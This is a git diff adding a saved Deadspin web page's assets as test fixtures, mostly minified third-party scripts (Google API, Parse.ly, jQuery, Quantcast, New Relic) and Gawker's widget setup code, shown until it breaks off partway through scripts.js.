+Q[ja])try{Kb(l,p)}catch(k){}var n=function(){Kb(m,p)};if("complete"===Q[ja])n();else{var r=s,y=function(){if(!r)return r=p,n[L](this,arguments)};P.addEventListener?(P.addEventListener("load",y,s),P.addEventListener("DOMContentLoaded",y,s)):P.attachEvent&&(P.attachEvent("onreadystatechange",function(){"complete"===Q[ja]&&y[L](this,arguments)}),P.attachEvent("onload",y))}}}]);var Xb=/^\{h\:'/,Yb=/^!_/,Vb=function(a,b){a=v(a);if(Xb[x](a))return p;a=a[z](Yb,"");if(!/^\{/[x](a))return s;try{v [...]
+"baseline";a[I].display="inline-block";a=b[I];a.position="static";a.left=0;a.top=0;a.visibility="visible";e&&(a.width=e+"px");c&&(a.height=c+"px");d&&mb(d,3)}b["data-csi-wdt"]=(new Date)[ka]()}};Ra("bs0",p,t.gapi._bs);Ra("bs1",p);delete t.gapi._bs;})();
+gapi.load("plusone",{callback:window["gapi_onload"],_c:{"jsl":{"ci":{"services":{},"deviceType":"desktop","lexps":[69,100,71,98,96,79,74,45,17,86,82,92,94,61,90,30],"inline":{"css":1},"report":{},"oauth-flow":{"authUrl":"https://accounts.google.com/o/oauth2/auth","proxyUrl":"https://accounts.google.com/o/oauth2/postmessageRelay"},"isPlusUser":false,"iframes":{"additnow":{"methods":["launchurl"],"url":"https://apis.google.com/additnow/additnow.html?bsv"},"plus":{"methods":["onauth"],"url" [...]
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/progressIndicator_roller.gif b/src/test/resources/s/deadspin_files/progressIndicator_roller.gif
new file mode 100644
index 0000000..5e62d01
Binary files /dev/null and b/src/test/resources/s/deadspin_files/progressIndicator_roller.gif differ
diff --git a/src/test/resources/s/deadspin_files/progressIndicator_roller_f0f0f0.gif b/src/test/resources/s/deadspin_files/progressIndicator_roller_f0f0f0.gif
new file mode 100644
index 0000000..74d4722
Binary files /dev/null and b/src/test/resources/s/deadspin_files/progressIndicator_roller_f0f0f0.gif differ
diff --git a/src/test/resources/s/deadspin_files/ptrack_v18.js b/src/test/resources/s/deadspin_files/ptrack_v18.js
new file mode 100644
index 0000000..78ac920
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/ptrack_v18.js
@@ -0,0 +1,20 @@
+(function(){this.PARSELY||(this.PARSELY={});var a=this.PARSELY,b=!1,c=/xyz/.test(function(){xyz})?/\b_super\b/:/.*/;a.Class=function(){},a.Class.extend=function(a){function g(){!b&&this.init&&this.init.apply(this,arguments)}var d=this.prototype;b=!0;var e=new this;b=!1;for(var f in a)e[f]=typeof a[f]=="function"&&typeof d[f]=="function"&&c.test(a[f])?function(a,b){return function(){var c=this._super;this._super=d[a];var e=b.apply(this,arguments);return this._super=c,e}}(f,a[f]):a[f];retu [...]
+,arguments);if(o===!1||a.isPropagationStopped()){c=f.level,o===!1&&(b=!1);if(a.isImmediatePropagationStopped())break}}return b}function I(a,b){return(a&&a!=="*"?a+".":"")+b.replace(u,"`").replace(v,"&")}function Q(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function R(a,b,c){if(e.isFunction(b))return e.grep(a,function(a,d){var e=!!b.call(a,d,a);return e===c});if(b.nodeType)return e.grep(a,function(a,d){return a===b===c});if(typeof b=="string"){var d=e.grep(a,function(a){return [...]
+){g=h.exec(a);if(g&&(g[1]||!e)){if(g[1])return e=e instanceof c?e[0]:e,k=e?e.ownerDocument||e:d,j=m.exec(a),j?c.isPlainObject(e)?(a=[d.createElement(j[1])],c.fn.attr.call(a,e,!0)):a=[k.createElement(j[1])]:(j=c.buildFragment([g[1]],[k]),a=(j.cacheable?c.clone(j.fragment):j.fragment).childNodes),c.merge(this,a);i=d.getElementById(g[2]);if(i&&i.parentNode){if(i.id!==g[2])return f.find(a);this.length=1,this[0]=i}return this.context=d,this.selector=a,this}return!e||e.jquery?(e||f).find(a):th [...]
+;e<f;e++)a[d++]=c[e];else while(c[e]!==b)a[d++]=c[e++];return a.length=d,a},grep:function(a,b,c){var d=[],e;c=!!c;for(var f=0,g=a.length;f<g;f++)e=!!b(a[f],f),c!==e&&d.push(a[f]);return d},map:function(a,b,c){var d=[],e;for(var f=0,g=a.length;f<g;f++)e=b(a[f],f,c),e!=null&&(d[d.length]=e);return d.concat.apply([],d)},guid:1,proxy:function(a,d,e){return arguments.length===2&&(typeof d=="string"?(e=a,a=e[d],d=b):d&&!c.isFunction(d)&&(e=d,d=b)),!d&&a&&(d=function(){return a.apply(e||this,ar [...]
+(!0).cloneNode(!0).lastChild.checked,e(function(){var a=d.createElement("div"),b=d.getElementsByTagName("body")[0];if(!b)return;a.style.width=a.style.paddingLeft="1px",b.appendChild(a),e.boxModel=e.support.boxModel=a.offsetWidth===2,"zoom"in a.style&&(a.style.display="inline",a.style.zoom=1,e.support.inlineBlockNeedsLayout=a.offsetWidth===2,a.style.display="",a.innerHTML="<div style='width:4px;'></div>",e.support.shrinkWrapBlocks=a.offsetWidth!==2),a.innerHTML="<table><tr><td style='padd [...]
+a&&typeof a=="string"){var b=(a||"").split(l);for(var c=0,d=this.length;c<d;c++){var f=this[c];if(f.nodeType===1)if(!f.className)f.className=a;else{var g=" "+f.className+" ",h=f.className;for(var i=0,j=b.length;i<j;i++)g.indexOf(" "+b[i]+" ")<0&&(h+=" "+b[i]);f.className=e.trim(h)}}}return this},removeClass:function(a){if(e.isFunction(a))return this.each(function(b){var c=e(this);c.removeClass(a.call(this,b,c.attr("class")))});if(a&&typeof a=="string"||a===b){var c=(a||"").split(l);for(v [...]
+{c=c||"";for(h in t)e.event.remove(a,h+c);return}c=c.split(" ");while(h=c[k++]){r=h,q=null,l=h.indexOf(".")<0,m=[],l||(m=h.split("."),h=m.shift(),n=new RegExp("(^|\\.)"+e.map(m.slice(0).sort(),x).join("\\.(?:.*\\.)?")+"(\\.|$)")),p=t[h];if(!p)continue;if(!d){for(j=0;j<p.length;j++){q=p[j];if(l||n.test(q.namespace))e.event.remove(a,r,q.handler,j),p.splice(j--,1)}continue}o=e.event.special[h]||{};for(j=f||0;j<p.length;j++){q=p[j];if(d.guid===q.guid){if(l||n.test(q.namespace))f==null&&p.spl [...]
+:y,isImmediatePropagationStopped:y};var A=function(a){var b=a.relatedTarget;try{if(b&&b!==d&&!b.parentNode)return;while(b&&b!==this)b=b.parentNode;b!==this&&(a.type=a.data,e.event.handle.apply(this,arguments))}catch(c){}},B=function(a){a.type=a.data,e.event.handle.apply(this,arguments)};e.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(a,b){e.event.special[a]={setup:function(c){e.event.add(this,b,c&&c.selector?B:A,a)},teardown:function(a){e.event.remove(this,b,a&&a.selector? [...]
+.bind(b,a,c):this.trigger(b)},e.attrFn&&(e.attrFn[b]=!0)}),function(){function q(a){var b="",c;for(var d=0;a[d];d++)c=a[d],c.nodeType===3||c.nodeType===4?b+=c.nodeValue:c.nodeType!==8&&(b+=q(c.childNodes));return b}function r(a,b,c,d,e,f){var g=a=="previousSibling"&&!f;for(var h=0,i=d.length;h<i;h++){var j=d[h];if(j){g&&j.nodeType===1&&(j.sizcache=c,j.sizset=h),j=j[a];var k=!1;while(j){if(j.sizcache===c){k=d[j.sizset];break}j.nodeType===1&&!f&&(j.sizcache=c,j.sizset=h);if(j.nodeName.toLo [...]
+){if(typeof b.getElementsByName!="undefined"){var c=[],d=b.getElementsByName(a[1]);for(var e=0,f=d.length;e<f;e++)d[e].getAttribute("name")===a[1]&&c.push(d[e]);return c.length===0?null:c}},TAG:function(a,b){return b.getElementsByTagName(a[1])}},preFilter:{CLASS:function(a,b,c,d,e,f){a=" "+a[1].replace(/\\/g,"")+" ";if(f)return a;for(var g=0,h;(h=b[g])!=null;g++)h&&(e^(h.className&&(" "+h.className+" ").replace(/[\t\n]/g," ").indexOf(a)>=0)?c||d.push(h):c&&(b[g]=!1));return!1},ID:functio [...]
+();c.setStart(a,0),c.setEnd(a,0),d.setStart(b,0),d.setEnd(b,0);var e=c.compareBoundaryPoints(Range.START_TO_END,d);return e===0&&(h=!0),e}),function(){var a=d.createElement("div"),c="script"+(new Date).getTime();a.innerHTML="<a name='"+c+"'/>";var e=d.documentElement;e.insertBefore(a,e.firstChild),d.getElementById(c)&&(k.find.ID=function(a,c,d){if(typeof c.getElementById!="undefined"&&!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!="undefined"&&e.getAttr [...]
+.test(a)||(d=c),d&&typeof d=="string"&&(f=e.filter(d,f)),f=this.length>1&&!P[a]?e.unique(f):f,(this.length>1||L.test(d))&&K.test(a)&&(f=f.reverse()),this.pushStack(f,a,g.join(","))}}),e.extend({filter:function(a,b,c){return c&&(a=":not("+a+")"),b.length===1?e.find.matchesSelector(b[0],a)?[b[0]]:[]:e.find.matches(a,b)},dir:function(a,c,d){var f=[],g=a[c];while(g&&g.nodeType!==9&&(d===b||g.nodeType!==1||!e(g).is(d)))g.nodeType===1&&f.push(g),g=g[c];return f},nth:function(a,b,c,d){b=b||1;va [...]
+.length===1?h=i=i.firstChild:h=i.firstChild;if(h){d=d&&e.nodeName(h,"tr");for(var m=0,n=this.length,o=n-1;m<n;m++)f.call(d?c(this[m],h):this[m],g.cacheable||n>1&&m<o?e.clone(i,!0,!0):i)}l.length&&e.each(l,bc)}return this}}),e.buildFragment=function(a,b,c){var f,g,h,i=b&&b[0]?b[0].ownerDocument||b[0]:d;return a.length===1&&typeof a[0]=="string"&&a[0].length<512&&i===d&&a[0].charAt(0)==="<"&&!Y.test(a[0])&&(e.support.checkClone||!Z.test(a[0]))&&(g=!0,h=e.fragments[a[0]],h&&h!==1&&(f=h)),f| [...]
+bd.test(f)?f.replace(bd,d):c.filter+" "+d}}),e(function(){e.support.reliableMarginRight||(e.cssHooks.marginRight={get:function(a,b){var c;return e.swap(a,{display:"inline-block"},function(){b?c=bm(a,"margin-right","marginRight"):c=a.style.marginRight}),c}})}),d.defaultView&&d.defaultView.getComputedStyle&&(bn=function(a,c,d){var f,g,h;d=d.replace(bg,"-$1").toLowerCase();if(!(g=a.ownerDocument.defaultView))return b;if(h=g.getComputedStyle(a,null))f=h.getPropertyValue(d),f===""&&!e.contain [...]
+:function(a){var c;if(r===2){if(!n){n={};while(c=bv.exec(m))n[c[1].toLowerCase()]=c[2]}c=n[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){return r||(d.mimeType=a),this},abort:function(a){return a=a||"abort",o&&o.abort(a),v(0,a),this}};h.promise(u),u.success=u.done,u.error=u.fail,u.complete=i.done,u.statusCode=function(a){if(a){var b;if(r<2)for(b in a)j[b]=[j[b],a[b]];else b=a[u.status],u.then(b,b)}return this},d.url=((a||d.url)+"").replace(bu,"").replace(bz,bM[1]+"//" [...]
+,l=b.offsetTop,m=b.offsetLeft;while((b=b.parentNode)&&b!==i&&b!==h){if(e.offset.supportsFixedPosition&&k.position==="fixed")break;c=j?j.getComputedStyle(b,null):b.currentStyle,l-=b.scrollTop,m-=b.scrollLeft,b===d&&(l+=b.offsetTop,m+=b.offsetLeft,e.offset.doesNotAddBorder&&(!e.offset.doesAddBorderForTableAndCells||!bV.test(b.nodeName))&&(l+=parseFloat(c.borderTopWidth)||0,m+=parseFloat(c.borderLeftWidth)||0),f=d,d=b.offsetParent),e.offset.subtractsBorderForOverflowNotVisible&&c.overflow!= [...]
+var g in a)if(j.call(a,g)&&b.call(d,a[g],g,a)===c)return};w.map=function(a,b,c){var d=[];return a==null?d:l&&a.map===l?a.map(b,c):(x(a,function(a,e,f){d[d.length]=b.call(c,a,e,f)}),d)},w.reduce=w.foldl=w.inject=function(a,b,c,d){var e=c!==void 0;a==null&&(a=[]);if(m&&a.reduce===m)return d&&(b=w.bind(b,d)),e?a.reduce(b,c):a.reduce(b);x(a,function(a,f,g){!e&&f===0?(c=a,e=!0):c=b.call(d,c,a,f,g)});if(!e)throw new TypeError("Reduce of empty array with no initial value");return c},w.reduceRig [...]
+concat(g.call(arguments));return b.apply(this,c)}},w.compose=function(){var a=g.call(arguments);return function(){var b=g.call(arguments);for(var c=a.length-1;c>=0;c--)b=[a[c].apply(this,b)];return b[0]}},w.keys=u||function(a){if(a!==Object(a))throw new TypeError("Invalid object");var b=[];for(var c in a)j.call(a,c)&&(b[b.length]=c);return b},w.values=function(a){return w.map(a,w.identity)},w.functions=w.methods=function(a){return w.filter(w.keys(a),function(b){return w.isFunction(a[b])} [...]
+g[b].element[0]!==a[0])b-=1;return b}function n(a,c){a.element.trigger(k,c),a.options.triggerOnce&&a.element[b]("destroy")}function o(){var b=f.scrollTop(),d=b>h,e=a.grep(g,function(a,c){return d?a.offset>h&&a.offset<=b:a.offset<=h&&a.offset>b});(!h||!b)&&a[c]("refresh"),h=b;if(!e.length)return;a[c].settings.continuous?a.each(d?e:e.reverse(),function(a,b){n(b,[d?"down":"up"])}):n(e[d?e.length-1:0],[d?"down":"up"])}var f=a(d),g=[],h=-99999,i=!1,j=!1,k="waypoint.reached",l={init:function(d [...]
+i=b.extend({},d,e);this.data=b.extend({},i,{idsite:h.apikey,url:q(a),urlref:q(s()),date:(new Date).toString(),res:c,data:f.stringify({parsely_uuid:h.uuid,metadata:{},settings:h.settings})}),this.remoteEndpoint=h.pixelhost||"pixel.parsely.com/plogger/"},addDefaults:function(a){b.extend(this.data,a)},beacon:function(a){var c=new Image,d=(new Date).getTime(),e=b.extend({rand:d},this.data,a),f=b.param(e),g=document.location.protocol+"//"+this.remoteEndpoint,h=g+"?"+f;PARSELY.lastRequest=e,c. [...]
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/quant.js b/src/test/resources/s/deadspin_files/quant.js
new file mode 100644
index 0000000..ab78e51
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/quant.js
@@ -0,0 +1,33 @@
+/* Copyright (c) 2008-2012, Quantcast Corp. */
+if(!__qc){var __qc={qcdst:function(){if(__qc.qctzoff(0)!=__qc.qctzoff(6))return 1;return 0;},qctzoff:function(m){var d1=new Date(2000,m,1,0,0,0,0);var t=d1.toGMTString();var d3=new Date(t.substring(0,t.lastIndexOf(" ")-1));return d1-d3;},qceuc:function(s){if(typeof(encodeURIComponent)=='function'){return encodeURIComponent(s);}
+else{return escape(s);}},qcrnd:function(){return Math.round(Math.random()*2147483647);},qcgc:function(n){var v='';var c=document.cookie;if(!c)return v;var i=c.indexOf(n+"=");var len=i+n.length+1;if(i>-1){var end=c.indexOf(";",len);if(end<0)end=c.length;v=c.substring(len,end);}
+return v;},qcdomain:function(){var d=document.domain;if(d.substring(0,4)=="www.")d=d.substring(4,d.length);var a=d.split(".");var len=a.length;if(len<3)return d;var e=a[len-1];if(e.length<3)return d;d=a[len-2]+"."+a[len-1];return d;},qhash2:function(h,s){for(var i=0;i<s.length;i++){h^=s.charCodeAt(i);h+=(h<<1)+(h<<4)+(h<<7)+(h<<8)+(h<<24);}
+return h;},qhash:function(s){var h1=0x811c9dc5,h2=0xc9dc5118;var hash1=__qc.qhash2(h1,s);var hash2=__qc.qhash2(h2,s);return(Math.round(Math.abs(hash1*hash2)/65536)).toString(16);},sd:["4dcfa7079941","127fdf7967f31","588ab9292a3f","32f92b0727e5","22f9aa38dfd3","a4abfe8f3e04","18b66bc1325c","958e70ea2f28","bdbf0cb4bbb","65118a0d557","40a1d9db1864","18ae3d985046","3b26460f55d"],qcsc:function(){var s="";var d=__qc.qcdomain();if(__qc.qad==1)return";fpan=u;fpa=";var qh=__qc.qhash(d);for(var i= [...]
+var u=document;var a=__qc.qcgc("__qca");if(a.length>0){s+=";fpan=0;fpa="+a;}
+else{var da=new Date();var db=new Date(da.getTime()+47335389000);a='P0-'+__qc.qcrnd()+'-'+da.getTime();u.cookie="__qca="+a+"; expires="+db.toGMTString()+"; path=/; domain="+d;a=__qc.qcgc("__qca");if(a.length>0){s+=";fpan=1;fpa="+a;}
+else{s+=";fpan=u;fpa=";}}
+return s;},qcdc:function(n){document.cookie=n+"=; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/; domain="+__qc.qcdomain();},qpxload:function(img){if(img&&typeof(img.width)=="number"&&img.width==3){__qc.qcdc("__qca");}},qcdnt:function(){var ipf=false;if(typeof(window.external)!=='undefined'&&window.external!==null){var we=window.external;ipf=(typeof we.InPrivateFilteringEnabled==='function'&&we.InPrivateFilteringEnabled()===true);}
+return(ipf||navigator.doNotTrack==="1"||navigator.doNotTrack==="yes"||navigator.msDoNotTrack==="1")},qcp:function(p,myqo){var s='',a=null;uh=null;var media='webpage',event='load';if(myqo!=null){for(var k in myqo){if(typeof(k)!='string'){continue;}
+if(typeof(myqo[k])!='string'){continue;}
+if(k=='uid'||k=='uh'){if(__qc.qcdnt()===false){uh=__qc.qhash(myqo[k]);}
+delete myqo[k];continue;}
+if(k=='qacct'){a=myqo[k];continue;}
+s+=';'+k+p+'='+__qc.qceuc(myqo[k]);if(k=='media'){media=myqo[k];}
+if(k=='event'){event=myqo[k];}}}
+if(typeof a!="string"){if((typeof _qacct=="undefined")||(_qacct.length==0))return'';a=_qacct;}
+if(typeof uh==='string'){myqo['uh']=uh;s+=';uh'+p+'='+__qc.qceuc(uh);}
+if(media=='webpage'&&event=='load'){for(var i=0;i<__qc.qpixelsent.length;i++){if(__qc.qpixelsent[i]==a)return'';}
+__qc.qpixelsent.push(a);}
+if(media=='ad'){__qc.qad=1;}
+s=';a'+p+'='+a+s;return s;},qcesc:function(s){return s.replace(/\./g,'%2E').replace(/,/g,'%2C');},qcd:function(o){return(typeof(o)!="undefined"&&o!=null);},qcogl:function(){var m=document.getElementsByTagName('meta');var o='';for(var i=0;i<m.length;i++){if(o.length>=1000)return o;if(__qc.qcd(m[i])&&__qc.qcd(m[i].attributes)&&__qc.qcd(m[i].attributes.property)&&__qc.qcd(m[i].attributes.property.value)&&__qc.qcd(m[i].content)){var p=m[i].attributes.property.value;var c=m[i].content;if(p.le [...]
+return __qc.qceuc(o);},firepixel:function(qoptions){var e=(typeof(encodeURIComponent)=='function')?"n":"s";var r=__qc.qcrnd();var sr='',qo='',qm='',url='',ref='',je='u',ns='1';var qocount=0;__qc.qad=0;if(typeof __qc.qpixelsent=="undefined"){__qc.qpixelsent=new Array();}
+if(typeof qoptions!="undefined"&&qoptions!=null){__qc.qopts=qoptions;for(var k in __qc.qopts){if(typeof(__qc.qopts[k])=='string'){qo=__qc.qcp("",__qc.qopts);break;}else if(typeof(__qc.qopts[k])=='object'&&__qc.qopts[k]!=null){++qocount;qo+=__qc.qcp("."+qocount,__qc.qopts[k]);}}}else if(typeof _qacct=="string"){qo=__qc.qcp("",null);}
+if(qo.length==0)return;var ce=(navigator.cookieEnabled)?"1":"0";if(typeof navigator.javaEnabled!='undefined')je=(navigator.javaEnabled())?"1":"0";if(typeof _qmeta!="undefined"&&_qmeta!=null){qm=';m='+__qc.qceuc(_qmeta);_qmeta=null;}
+if(self.screen){sr=screen.width+"x"+screen.height+"x"+screen.colorDepth;}
+var d=new Date();var dst=__qc.qcdst();var qs='http';if(window.location.protocol=='https:'){qs+='s';}
+qs+="://pixel.quantserve.com";var fp=__qc.qcsc();if(window.location&&window.location.href)url=__qc.qceuc(window.location.href);if(window.document&&window.document.referrer)ref=__qc.qceuc(window.document.referrer);if(self==top)ns='0';var ogl=__qc.qcogl();var img=new Image();img.alt="";img.src=qs+'/pixel'+';r='+r+qo+fp+';ns='+ns+';ce='+ce+';je='+je+';sr='+sr+';enc='+e+';dst='+dst+';et='+d.getTime()+';tzo='+d.getTimezoneOffset()+qm+';ref='+ref+';url='+url+';ogl='+ogl;img.onload=function(){_ [...]
+if(typeof _qoptions!="undefined"&&_qoptions!=null){__qc.firepixel(_qoptions);_qoptions=null;}else if(!_qevents.length&&typeof _qacct!="undefined"){__qc.firepixel(null);}
+if(!__qc.evts){for(var k in _qevents){__qc.firepixel(_qevents[k]);}
+_qevents={push:function(){var a=arguments;for(var i=0;i<a.length;i++){__qc.firepixel(a[i]);}}};__qc.evts=1;}}};}
+function quantserve(){__qc.quantserve();}
+quantserve();
diff --git a/src/test/resources/s/deadspin_files/rightbar.comment.png b/src/test/resources/s/deadspin_files/rightbar.comment.png
new file mode 100644
index 0000000..64c3f43
Binary files /dev/null and b/src/test/resources/s/deadspin_files/rightbar.comment.png differ
diff --git a/src/test/resources/s/deadspin_files/rightbar.flame.png b/src/test/resources/s/deadspin_files/rightbar.flame.png
new file mode 100644
index 0000000..7d13714
Binary files /dev/null and b/src/test/resources/s/deadspin_files/rightbar.flame.png differ
diff --git a/src/test/resources/s/deadspin_files/rta.js b/src/test/resources/s/deadspin_files/rta.js
new file mode 100644
index 0000000..83df3e0
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/rta.js
@@ -0,0 +1,5 @@
+crtg_content = '';
+function writeCtoCookie(){
+document.cookie='cto_gawk=' + escape(crtg_content)+ '; path=/; expires=Sun, 24 Feb 2013 07:48:23 GMT;' + 'domain=.deadspin.com; ';
+}
+writeCtoCookie();
diff --git a/src/test/resources/s/deadspin_files/rum.js b/src/test/resources/s/deadspin_files/rum.js
new file mode 100644
index 0000000..7d56385
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/rum.js
@@ -0,0 +1,18 @@
+// Copyright 2010 Google Inc.
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+// See the source code here:
+// http://code.google.com/p/episodes/
+// Don't overwrite pre-existing instances of the object (esp. for older browsers).
+var NR_QUEUE=[];typeof window.NREUMQ!="undefined"?NR_QUEUE=NREUMQ:typeof window.EPISODES!="undefined"?NR_QUEUE=EPISODES.q:typeof window.NREUM!="undefined"&&(NR_QUEUE=NREUM.q);var NREUM=NREUM||{};NREUM.q=NR_QUEUE,NREUM.targetOrigin=document.location.protocol+"//"+document.location.host,NREUM.version=40,NREUM.autorun="undefined"!=typeof NREUM.autorun?NREUM.autorun:!0,NREUM.init=function(){NREUM.dataSent=!1,NREUM.jsonp=!1,NREUM.beaconToken=null,NREUM.navCookie=!0,NREUM.bDone=!1,NREUM.cycle= [...]
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/saved_resource b/src/test/resources/s/deadspin_files/saved_resource
new file mode 100644
index 0000000..9573d04
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/saved_resource
@@ -0,0 +1 @@
+skimlinksApplyHandlers({"merchant_domains":[],"guid":"59a328c8262191a69ad1d043befe0776","country":"US"});
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/scripts.js b/src/test/resources/s/deadspin_files/scripts.js
new file mode 100644
index 0000000..c180565
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/scripts.js
@@ -0,0 +1,401 @@
+ if( location.hash != '' && location.hash.indexOf( '#!' ) == 0 ) {
+ var newHref = location.hash.substr( 2 );
+ if( newHref.indexOf( '/' ) != 0 ) {
+ newHref = '/' + newHref;
+ }
+ location.href = newHref;
+ }
+
+ try { Typekit.load(); } catch(e) {}
+
+
+
+ (function(){
+ var thirdpartyDisabled = gawker_parseQueryString(window.location.search.substring(1)).thirdparty === 'false';
+
+ var setupWidgets = function() {
+
+ jQuery( '#presence_external_templates' ).load( '/static/items/' + siteConfig['canonicalHost'] + '/presence_external_templates_static.html', function() {
+ if (adRobot.feature.isOn(adRobot.feature.POWWOW)) {
+ GawkerClientside.pushWidget('userwidget', jQuery('body').UserWidget().data('UserWidget'));
+ } else {
+ GawkerClientside.pushWidget('sandboxwidget', jQuery('body').SandboxWidget().data('SandboxWidget'));
+ }
+ presence_options = { isReloading : false };
+ GawkerClientside.pushWidget('presence', jQuery('#auth').PresenceWidget(presence_options).data('PresenceWidget'));
+ if ( jQuery( '#rightbar_pin_container' ).length ) {
+ GawkerClientside.pushWidget('viewSelector', jQuery('#rightbar_pin_container').ViewSelectorWidget().data('ViewSelectorWidget'));
+ }
+ GawkerClientside.pushWidget('notificationControl', jQuery('#notifications').NotificationWidget().data('NotificationWidget'));
+ GawkerClientside.pushWidget('commenter', jQuery('.gawkerwidget.commenter_area').CommenterWidget({}).data('CommenterWidget'));
+ var comments = jQuery('#comments');
+ if ( comments.length || jQuery('.comment').length > 0) {
+ GawkerClientside.pushWidget('thread', comments.ThreadWidget( {} ).data('ThreadWidget'));
+ GawkerClientside.pushWidget('threadadmin', jQuery('.gawkerwidget.threadadmin_area').ThreadAdminWidget({}).data('ThreadAdminWidget'));
+ GawkerClientside.pushWidget('commenteradmin', jQuery('.gawkerwidget.commenteradmin_area').CommenterAdminWidget({}).data('CommenterAdminWidget'));
+ GawkerClientside.pushWidget('commentform', jQuery('.commentform_container #postform_widget').CommentFormWidget().data('CommentFormWidget'));
+ }
+ var shareEmail = jQuery('.share_email');
+ if ( shareEmail.length > 0 ) {
+ GawkerClientside.widgets.simpleform_mail2 = [ shareEmail.SimpleFormWidget(settings.widgets.simpleform.byselector['#share_email'].options).data('SimpleFormWidget') ];
+ }
+ var inviteControl = jQuery('.cn_invite_dialog');
+ if ( inviteControl.length > 0 ) {
+ GawkerClientside.widgets.simpleform_invite = [ inviteControl.SimpleFormWidget(settings.widgets.simpleform.byselector['#invitecontainer'].options).data('SimpleFormWidget') ];
+ }
+ GawkerClientside.pushWidget('editorcontrols', jQuery('.gawkerwidget.editorcontrols_area').EditorControlsWidget().data('EditorControlsWidget'));
+ GawkerClientside.pushWidget('republishtool', jQuery('.gawkerwidget.republish_area').RepublishToolWidget( republishOptions ).data('EditorControlsWidget'));
+ GawkerClientside.pushWidget('roundupsnippet', jQuery('.gawkerwidget.roundup_area').RoundupSnippetWidget().data('EditorControlsWidget'));
+
+ /** HACK WARNING
+ *
+ * widgets in static view are loaded in a funky way. if the forumloaded event is raised BEFORE
+ * the subscribing widgets are initialized, registerEventHandler will not work, meh.
+ */
+ if (typeof forum_load_options !== 'undefined' && forum_load_options !== undefined) {
+ adRobot.raiseEvent('maincontent.forumloaded', forum_load_options);
+ }
+ } );
+
+ };
+
+ var setupMainContent = function() {
+ //force center aligned twitter embeds
+ jQuery('.twitter-tweet').addClass('tw-align-center');
+
+ if ( window.pageType == 'post' ) {
+ adRobot.raiseEvent('maincontent.postloaded', {
+ data: {
+ id: window.post.id,
+ post: window.post,
+ action: 'post',
+ originalPostId: window.post.originalPostId,
+ tags: window.post.tags,
+ sponsored: window.post.sponsored
+ }
+ });
+ jQuery('#rbpost_' + window.post.id).addClass('current');
+ }
+ if ( window.pageType == 'tagpage' ) {
+ adRobot.raiseEvent('maincontent.tagpageloaded', {
+ data: {
+ id: window.post.id,
+ action: 'tag',
+ originalPostId: window.post.originalPostId
+ }
+ });
+ }
+
+ if ( window.pageType === 'static_commenter_flow' ) {
+ adRobot.raiseEvent('maincontent.profileloaded', {
+ data: {
+ }
+ });
+ }
+ if ( window.pageType == 'search' )
+ {
+ jQuery('#search_term').focus( function( e ) {
+ o = jQuery( this );
+ if ( o.hasClass('empty') ) {
+ o.val('');
+ o.removeClass('empty');
+ }
+ });
+ jQuery('#search_term').focusout( function( e ) {
+ o = jQuery( this );
+ if ( o.val() == '' ) {
+ o.val('Search');
+ o.addClass('empty');
+ }
+ });
+ jQuery('#search #settings ul li a').click( function( e ) {
+ e.stopPropagation();
+ e.preventDefault();
+ o = jQuery( this );
+ setting = o.parent().parent().attr('id');
+ option = o.parent().attr('id');
+ jQuery('#search input[name=' + setting + ']').val( option );
+ jQuery( '#search #settings ul#' + setting + ' li' ).removeClass('selected');
+ o.parent().addClass('selected');
+ q = jQuery('#search_term');
+ if ( !q.hasClass('empty') && q.val() != '' ) {
+ jQuery('#search').submit();
+ }
+ } );
+ }
+
+ if ( jQuery('.splashposts').length ) {
+ GawkerClientside.pushWidget('splashpostControl', jQuery('.splashposts').eq(0).SplashPostWidget( { static_version : true } ).data('SplashPostWidget'));
+ var urlParams = adRobot.getUrlParams();
+ var sponsored_params = {};
+ if (urlParams['sponsor_preview'] !== undefined) {
+ sponsored_params.sponsor_preview = parseInt(urlParams['sponsor_preview'], 10);
+ }
+ adRobot.raiseEvent( 'splashpost.sponsoredpost.show', sponsored_params );
+ }
+
+ if ( jQuery( '#post_list' ).length ) {
+ GawkerClientside.pushWidget( 'minirightbar', jQuery('#post_list').MiniRightbarWidget({}).data('MiniRightbarWidget'));
+ }
+
+ //google analytics event tracker support
+ jQuery('.frontpage .gaqtrack').bind('click', function(){
+ _gaq.push(['_trackEvent', jQuery(this).data('gaqevent'), jQuery(this).data('gaqid') ]);
+ });
+ jQuery('.author-contact .gaqtrack').bind('click', function(){
+ _gaq.push(['_trackEvent', jQuery(this).data('gaqevent'), jQuery(this).data('gaqid') ]);
+ });
+ };
+
+ var setupFacebook = function() {
+ if(!thirdpartyDisabled) {
+ window.fbAsyncInit = function() {
+ FB.init({ 'appId': '236575159691634', status: true, cookie: true,xfbml: true } );
+ var fbObject = document.getElementById( 'facebook_like' );
+ if( fbObject !== null ) {
+ window.FB.XFBML.parse( fbObject );
+ }
+ };
+ gawker_getScript('//connect.facebook.net/en_US/all.js');
+ }
+ };
+
+ var addBlogviewHandler = function() {
+ jQuery( '#switch_blogview' ).click( function( e ) {
+ var parts = location.hostname.match( /([^\.]+\.[^\.]+)$/ );
+ var cookieValue = 'classic';
+ var newUrl = 'http://' + ( location.hostname.indexOf( 'blog.' ) == -1 ? 'blog.' : '' ) + location.hostname + '/';
+ if( window.pageType == 'classic_frontpage' ) {
+ cookieValue = 'top7';
+ newUrl = 'http://' + location.hostname.replace( 'blog.', '' ) + '/';
+ }
